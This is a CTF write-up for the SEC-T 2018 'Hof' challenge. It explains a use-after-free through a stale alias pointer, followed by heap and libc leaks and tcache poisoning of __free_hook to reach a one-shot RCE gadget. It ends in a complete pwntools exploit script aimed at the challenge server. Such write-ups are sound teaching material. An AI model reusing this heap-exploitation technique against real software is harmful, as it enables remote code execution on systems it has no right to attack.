SEC-T CTF 2018 Hof Write-up

Let’s get right into it.

The binary maintains a structure that looks something like this :

struct user {
int idx;
int cash;
char name[48];
char *desc;
}

Every time a new object of this structure is created, it is added into a table.

Reversing the binary was a bit of a pain, since they had gone out of their way to make simple tasks as complicated as possible.

In order to copy data to the name buffer, the binary used the xmm0 register to copy 16 bytes at a time. And in order to calculate the length of the input string, there was a complicated set of bitwise operations which I didn’t bother to go into. I found that it eventually calculated the length of the input and that was all I needed.

The binary does allow a functionality to create an alias for a user.

If an alias is set, then a pointer to this user object is saved in another object which looks something like this.

struct alias {
user *user_obj;
char alias[16];
}

This object, if created, is then added into another table.

The vulnerability here lies in the fact that removing a user only removes the object from the table of users. The table of alias’s will still contain a pointer to the (removed) user object.

Choosing a user object, for manipulation, can be done via either its index in the table of users or its alias.

In order to get leaks, all that is needed is to create such a UAF situation and then print out the contents of the object which will leak out the heap and the libc addresses.

Once we have the leaks, we can start with the actual exploit.

The binary uses the newer libc which contains the tcache functionality. In order to make it clear to everyone ( and as a self note to myself), removing a chunk from the tcache list does not check perform any checks. So, it possible to get a chunk allocated basically anywhere.

So, in order to exploit the UAF, all that is required is to overwrite the FD of a chunk in the tcache with the address of the __free_hook. The second allocation after this returns a pointer to the __free_hook which we can overwrite with a one-shot-RCE gadget.

I did think about overwriting the __free_hook with system instead of an RCE gadget since that would be more reliable. But neither of the objects contain strings in the first 8 bytes.

Anyways, I’ve left out most of the low level details and issues I ran into while creating the exploit.

But the script does contain enough comments to fix that if anyone is interested in trying out the challenge.

from pwn import *

prompt = ' > '
context.terminal = 'bash'
HOST, PORT = '142.93.39.178', 2024


def create(name, desc, alias=''):
    p.sendlineafter(prompt, 'create '+alias)
    p.sendlineafter('Name: ', name)
    p.sendlineafter('Desc: ', desc)


def update(name, desc, cash, alias='', idx=0):
    p.sendlineafter(prompt, 'update '+alias)
    if alias == '':
        p.sendlineafter('Index: ', str(idx))
    p.sendlineafter('Name: ', name)
    p.sendlineafter('Desc: ', desc)
    p.sendlineafter('Cash: ', str(cash))


def remove(alias='', idx=0):
    p.sendlineafter(prompt, 'remove '+alias)
    if alias == '':
        p.sendlineafter('Index: ', str(idx))


def show(alias='', idx=0):
    p.sendlineafter(prompt, 'show '+alias)
    if alias == '':
        p.sendlineafter('Index: ', str(idx))
    p.recvuntil('  Index: ')
    idx = int(p.recvline().strip())
    p.recvuntil('  Name:  ')
    name = p.recvline().strip()
    p.recvuntil('  Desc:  ')
    desc = p.recvline().strip()
    p.recvuntil('  Cash:  $')
    cash = int(p.recvline().strip())
    return idx, cash, name, desc


def award(cash, alias='', idx=0):
    p.sendlineafter(prompt, 'award '+alias)
    if alias == '':
        p.sendlineafter('Index: ', str(idx))
    p.sendlineafter('Cash: ', str(cash))


if __name__ == '__main__':
    if sys.argv[1] == 'remote':
        p = remote(HOST, PORT)
    else:
        p = process('./hof', env={"LD_PRELOAD": './libc.so.6'})

    libc = ELF('./libc.so.6')

    # Create 7 chunks which go into the tcache
    for x in xrange(7):
        create('x', 'y'*0x80, str(x))

    # the object that will be the target of the UAF
    create('A', 'B'*0x80, 'test')
    # Just to prevent the previous chunk from being merged 
    # with the top chunk
    create('C', 'D')

    # Populating the tcache
    for x in xrange(7):
        remove(idx=x)

    remove(idx=8)
    # UAF happens here
    remove(idx=7)

    # leak it all
    idx, cash, _, desc = show('test')

    heap = idx + (cash << 32) - 0x1970
    libc.address = u64(desc.ljust(8, '\x00')) - 0x3ebca0
    log.success("Leaked heap @ {}".format(hex(heap)))
    log.success("Leaked libc @ {}".format(hex(libc.address)))
    free_hook = libc.symbols['__free_hook']
    gadget = libc.address + 0xe5858
    log.success("Hook @ {}".format(hex(free_hook)))
    log.success("Gadget @ {}".format(hex(gadget)))

    # Now for the exploit
    # The object that will become the target of this UAF
    create('A', 'B', 'junk')
    # Just to populate the FD of the target chunk
    create('C', 'D')

    remove(idx=10)
    remove(idx=9)

    # Overwrite FD to __free_hook
    update('A', p64(free_hook)[:6], 999, alias='junk')

    # We screw up the FD when we update the chunk
    # Making sure that the next malloc doesn't segfault
    for x in xrange(cash/999-1):
        award(999, alias='junk')
    award(cash%999 , alias='junk')

    create('X', 'Q')

    # This is going to be our free_hook
    create('Z', p64(gadget), 'exploit')

    # Trigger the one shot RCE gadget
    remove('exploit')

    p.interactive()